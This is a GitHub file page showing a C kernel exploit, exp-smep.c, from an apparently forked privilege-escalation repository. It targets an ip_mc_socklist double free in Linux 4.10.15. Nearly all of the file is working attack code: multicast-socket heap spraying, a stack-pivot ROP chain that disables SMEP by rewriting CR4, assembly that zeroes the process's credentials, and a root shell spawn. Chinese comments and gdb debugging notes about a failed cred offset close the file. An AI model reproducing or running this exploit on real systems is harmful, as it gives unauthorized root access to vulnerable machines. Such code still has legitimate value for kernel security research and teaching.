forked from Al1ex/LinuxEelvation
-
Notifications
You must be signed in to change notification settings - Fork 0
/
exp-smep.c
408 lines (362 loc) · 15.3 KB
/
exp-smep.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
// gcc -static exp-smep.c -o exp-smep -lpthread
/* change:
1. find_get_pid & pid_task
2. Heap_Spray_Addr
3. ROP gadget: Stack_Pivot_addr ...
4. FAKE_RSP (跳转到 Stack_Pivot_addr 时 EAX 的值)
不同点:
(1)用到pivot_stack gadget来跳转到用户栈;
(2)在EAX指向的用户空间布置ROP链,修改cr4并跳转到`get_root`;
(3)堆喷射初始化函数和堆喷函数。
(4)由于构造ROP链会损坏rbp的值,但是`get_root()`返回时需要把rbp给rsp,所以ROP链最开头需要保存rbp,然后在`get_root()`开头恢复rbp。(方法是通过rop链保存到rcx寄存器,在`get_root()`开头赋给rbp——`mov %rcx, %rbp;`)
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#include <sys/mman.h>
// --------
#include <sys/socket.h>
#define Stack_Pivot_addr 0xffffffff8100008d // 0xffffffff8100008d: xchg eax, esp; ret;
#define Heap_Spray_Addr 0x000000010000000a // 0xcdab02ff 0x000000010000000a 0x000000010000002a
#define FAKE_RSP 0x8100008d // 0x813b5122
#define SPRAY_SIZE 1000 // 5000
#define HELLO_WORLD_SERVER_PORT 8088 // server 的端口号
unsigned long* find_get_pid = (unsigned long*)0xffffffff810a4310; // 0xffffffff81077220 4.10.15-0xffffffff810a4310
unsigned long* pid_task = (unsigned long*)0xffffffff810a4260; // 0xffffffff81077180 4.10.15-0xffffffff810a4260
void *client(void *arg);
void get_root();
int pid=0;
void get_root() {
asm(
"mov %rbx, %rbp;"
"sub $0x18,%rsp;"
"mov pid,%edi;"
"callq *find_get_pid;"
"mov %rax,-0x8(%rbp);"
"mov -0x8(%rbp),%rax;"
"mov $0x0,%esi;"
"mov %rax,%rdi;"
"callq *pid_task;"
"mov %rax,-0x10(%rbp);"
"mov -0x10(%rbp),%rax;"
"mov 0x640(%rax),%rax;"
"mov %rax,-0x18(%rbp);"
"mov -0x18(%rbp),%rax;"
"add $0x4,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x8,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0xc,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x10,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x14,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x18,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x1c,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x20,%rax;"
"movl $0x0,(%rax);"
"nop;"
"leaveq ;"
"retq ;"
);
}
// spray_init —— 堆喷初始化
int sockfd[SPRAY_SIZE];
void spray_init() {
struct sockaddr_in server_addr;
struct group_req group;
struct sockaddr_in *psin=NULL;
memset(&server_addr,0,sizeof(server_addr));
memset(&group,0,sizeof(group));
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("[-] Socket");
exit(errno);
}
setsockopt(sockfd[i], SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
}
}
// heap_spray —— 堆喷
void heap_spray() {
struct ip_mreq_source mreqsrc;
memset(&mreqsrc,0,sizeof(mreqsrc));
mreqsrc.imr_multiaddr.s_addr = htonl(inet_addr("10.10.2.224"));
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, &mreqsrc, sizeof(mreqsrc));
}
}
// func_modify —— 子线程不断将 ip_mc_socklist 结构中的 func 指针修改为 get_root 函数地址
void *func_modify(void *arg){
unsigned long fix_addr = Heap_Spray_Addr + 8*5;
unsigned long fix_ebp_addr = Heap_Spray_Addr + 8*3; // let ip_mc_leave_src not to use this value
unsigned long func = Stack_Pivot_addr;
while(1) {
// *(unsigned long *)(fix_ebp_addr) = 0; // 实际利用时,这里如果非0就会导致在二次释放前崩溃,但这里只要初始化好了,执行时不会被修改为非0值,所以不需要一直修改为0。
*(unsigned long *)(fix_addr) = func;
}
}
// layout —— 用户空间地址开始布置伪造的 ip_mc_socklist 结构和ROP链(保存rbp到rbx,并关闭SMEP)
void layout(){
unsigned long fix_addr = Heap_Spray_Addr & 0xfffffffffffff000;
unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024*100, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
if (addr == MAP_FAILED){
perror("Failed to mmap: ");
return;
}
addr = (unsigned long *)Heap_Spray_Addr;
unsigned long * addr1 = (unsigned long*)(fix_addr + 0x1000);
unsigned long func = (unsigned long)Stack_Pivot_addr;
addr[0] = (unsigned long)addr1;
addr[1] = 0x0a0a02e0;
addr[2] = 2; // 0x00000002 0
addr[3] = 0x0;
addr[4] = 0x0;
addr[5] = (unsigned long)func;
addr1[0] = 0x0;
addr1[1] = 0x0a0a02e0;
addr1[2] = 2; // 0x00000002 0
addr1[3] = 0x0;
addr1[4] = 0x0;
addr1[5] = 0x0;
unsigned long fake_stack_fix = FAKE_RSP & 0xfffffffffffff000;
unsigned long* fake_stack_addr = (unsigned long *)mmap((void*)fake_stack_fix, 1024*2048, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
if (fake_stack_addr == MAP_FAILED){
perror("Failed to mmap: ");
return ;
}
memset(fake_stack_addr,0,1024*2048);
/*
0xffffffff8144886c: pop rdi; ret;
0xffffffff81273f53: pop rcx; ret;
0xffffffff81b2cfea: push rbp; jmp rdi; // 失败
0xffffffff811fb1ee: pop rsi; ret;
0xffffffff81273f53: pop rcx; ret;
0xffffffff81b3fed3 : push rbp ; jmp rsi // 失败 有问题,实际代码和ROP不同,需要在IDA中确定一下是否真的可用
0xffffffff8101c0a0: mov cr4, rdi; pop rbp; ret;
*/
unsigned long *fake_stack = (unsigned long *)FAKE_RSP ; // change
int count=0;
fake_stack[count++] = 0xffffffff81467afc; // 0xffffffff81467afc : push rbp ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
fake_stack[count++] = 0;
fake_stack[count++] = 0;
fake_stack[count++] = (unsigned long)fake_stack + 0x100;
fake_stack[count++] = 0xffffffff8144886c; // 0xffffffff8144886c: pop rdi; ret;
fake_stack[count++] = 0x00000000000406f0;
fake_stack[count++] = 0xffffffff8101c0a0; // 0xffffffff8101c0a0: mov cr4, rdi; pop rbp; ret;
fake_stack[count++] = (unsigned long)fake_stack + 0x100;
fake_stack[count++] = (unsigned long)&get_root;
}
void exploit(){
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
struct group_req group = {0};
struct sockaddr_in *psin;
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
// 1. 创建 server 端的 socket, 使内核创建 ip_mc_socklist 对象
int server_socket = socket(PF_INET,SOCK_STREAM,0);
if( server_socket < 0){
printf("[Server]Create Socket Failed!");
exit(1);
}
int opt =1;
setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group)); // 设置MCAST_JOIN_GROUP选项,主要是让内核创建 ip_mc_socklist 对象
if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){
printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
exit(1);
}
if ( listen(server_socket, 10) ) {
printf("[Server]Server Listen Failed!");
exit(1);
}
// 2. 子线程创建 client 端 socket,并不断向服务端请求连接-connect
pthread_t id_client;
pthread_create(&id_client,NULL,client,NULL);
spray_init(); // spray_init —— 初始化 PF_INET6 类型的socket,用于堆喷 ipv6_mc_socklist 对象
// 3. server 开始接收 client - accept, 复制 mc_list 指针
struct sockaddr_in client_addr;
socklen_t length = sizeof(client_addr);
printf ("[Server]accept..... \n");
int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length); // accept —— 开始和客户端连接,复制 mc_list 指针
if ( new_server_socket < 0){
close(server_socket);
perror("[Server]Server Accept Failed!\n");
return;
}
// 4. 用户空间地址`0x10000000a`处布置伪造的 `ip_mc_socklist` 结构和ROP链(地址是执行到`xchg gadget`时EAX的值,ROP负责保存rbp到rbx,并关闭SMEP),子线程不断修改 func 指针(内核会修改func指针,导致劫持失败)
layout();
/*
unsigned long fix_addr = 0xcdab0000; // 用户空间 0xcdab0000 处布置伪造的 ip_mc_socklist 结构
unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
if (addr == MAP_FAILED){
perror("Failed to mmap: ");
return;
}
addr = (unsigned long *)0x00000000cdab02ff;
unsigned long func = (unsigned long)&get_root;
addr[0] = 0x0;
addr[1] = 0x0a0a02e0;
addr[2] = 0x00000002;
addr[3] = 0x0;
addr[4] = 0x0;
addr[5] = func;
*/
pthread_t id_func;
pthread_create(&id_func,NULL,func_modify,NULL); // 子线程不断修改 func 指针
// 5. 关闭 accept 创建的 socket, 堆喷射篡改 ip_mc_socklist->next_rcu 指针, 关闭服务端 socket
printf ("[Server]close server accept socket \n");
close(new_server_socket);
sleep(3);
heap_spray(); // 开始进行堆喷
printf ("[Server]close server socket \n");
close(server_socket);
sleep(1);
printf(" current uid is : %d \n", getuid());
printf(" current euid is : %d \n", geteuid());
system("/bin/sh");
}
// client —— 创建客户端,和server端连接
void *client(void *arg){
printf("[+] client connect ... \n");
struct sockaddr_in client_addr;
bzero(&client_addr,sizeof(client_addr));
client_addr.sin_family=AF_INET;
client_addr.sin_addr.s_addr=htons(INADDR_ANY);
client_addr.sin_port=htons(0);
int client_socket=socket(AF_INET,SOCK_STREAM,0);
if(client_socket<0){
printf("[Client]Create socket failed!\n");
exit(1);
}
if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){
printf("[Client] client bind port failed!\n");
exit(1);
}
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){
printf("[Client]Server IP Address error\n");
exit(0);
}
server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT); // 端口号
socklen_t server_addr_length=sizeof(server_addr);
if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){
printf("[Client]cannot connect to 127.0.0.1!\n");
exit(1);
}
printf("[Client]Close client socket\n");
close(client_socket);
return NULL;
}
int main(int argc,char* argv[]) {
printf("pid : %d\n", getpid());
printf("get_root: %p\n", &get_root);
pid = getpid();
exploit();
return 0;
}
/*
Linux-v4.10.15
1.查看 申请 ip_mc_socklist 结构处
/exp $ cat /tmp/kallsyms | grep ip_mc_join_group
ffffffff81836e00 T ip_mc_join_group
查看两次释放ip_mc_socklist结构的地方
/ $ cat /tmp/kallsyms | grep ip_mc_drop_socket
ffffffff818387e0 T ip_mc_drop_socket
gdb-peda$ x /50i 0xffffffff818387e0
0xffffffff81838867 <ip_mc_drop_socket+135>:
call 0xffffffff810f1280 <kfree_call_rcu>
2. shellcode修改 cred 失败,可能是 cred 相对于 task_struct 结构首地址的偏移找的有问题
gdb-peda$ x /50i 0x00000000004009ce
0x4009ce: push rbp
0x4009cf: mov rbp,rsp
0x4009d2: sub rsp,0x18
0x4009d6: mov edi,DWORD PTR ds:0x6dbbf0
0x4009dd: call QWORD PTR ds:0x6da090
0x4009e4: mov QWORD PTR [rbp-0x8],rax
0x4009e8: mov rax,QWORD PTR [rbp-0x8]
0x4009ec: mov esi,0x0
0x4009f1: mov rdi,rax
0x4009f4: call QWORD PTR ds:0x6da098
0x4009fb: mov QWORD PTR [rbp-0x10],rax
0x4009ff: mov rax,QWORD PTR [rbp-0x10]
0x400a03: mov rax,QWORD PTR [rax+0x640]
=> 0x400a0a: mov QWORD PTR [rbp-0x18],rax
0x400a0e: mov rax,QWORD PTR [rbp-0x18]
0x400a12: add rax,0x4
0x400a16: mov DWORD PTR [rax],0x0
0x400a1c: mov rax,QWORD PTR [rbp-0x18]
0x400a20: add rax,0x8
0x400a24: mov DWORD PTR [rax],0x0
0x400a2a: mov rax,QWORD PTR [rbp-0x18]
0x400a2e: add rax,0xc
0x400a32: mov DWORD PTR [rax],0x0
0x400a38: mov rax,QWORD PTR [rbp-0x18]
0x400a3c: add rax,0x10
0x400a40: mov DWORD PTR [rax],0x0
0x400a46: mov rax,QWORD PTR [rbp-0x18]
0x400a4a: add rax,0x14
0x400a4e: mov DWORD PTR [rax],0x0
0x400a54: mov rax,QWORD PTR [rbp-0x18]
0x400a58: add rax,0x18
0x400a5c: mov DWORD PTR [rax],0x0
0x400a62: mov rax,QWORD PTR [rbp-0x18]
0x400a66: add rax,0x1c
0x400a6a: mov DWORD PTR [rax],0x0
0x400a70: mov rax,QWORD PTR [rbp-0x18]
0x400a74: add rax,0x20
0x400a78: mov DWORD PTR [rax],0x0
0x400a7e: nop
0x400a7f: leave
0x400a80: ret
gdb-peda$
Warning: not running or target is remote
0x0000000000400a16 in ?? ()
gdb-peda$
Warning: not running or target is remote
0xffffffff818c8103 in page_fault () at arch/x86/entry/entry_64.S:1011
1011 trace_idtentry page_fault do_page_fault has_error_code=1
在 0x4009fb 处查看获取的 task_struct 结构具体是什么?
gdb-peda$ ni
Warning: not running or target is remote
0x00000000004009fb in ?? ()
gdb-peda$ i r
rax 0xffff88001fa5b500 0xffff88001fa5b500
gdb-peda$ p/x &(*(struct task_struct *)0)->cred // 所以 cred成员相对于task_struct结构首地址相差 0x640, 需修改
$2 = 0x640
gdb-peda$ p *(struct task_struct*) 0xffff88001fa39a80
*/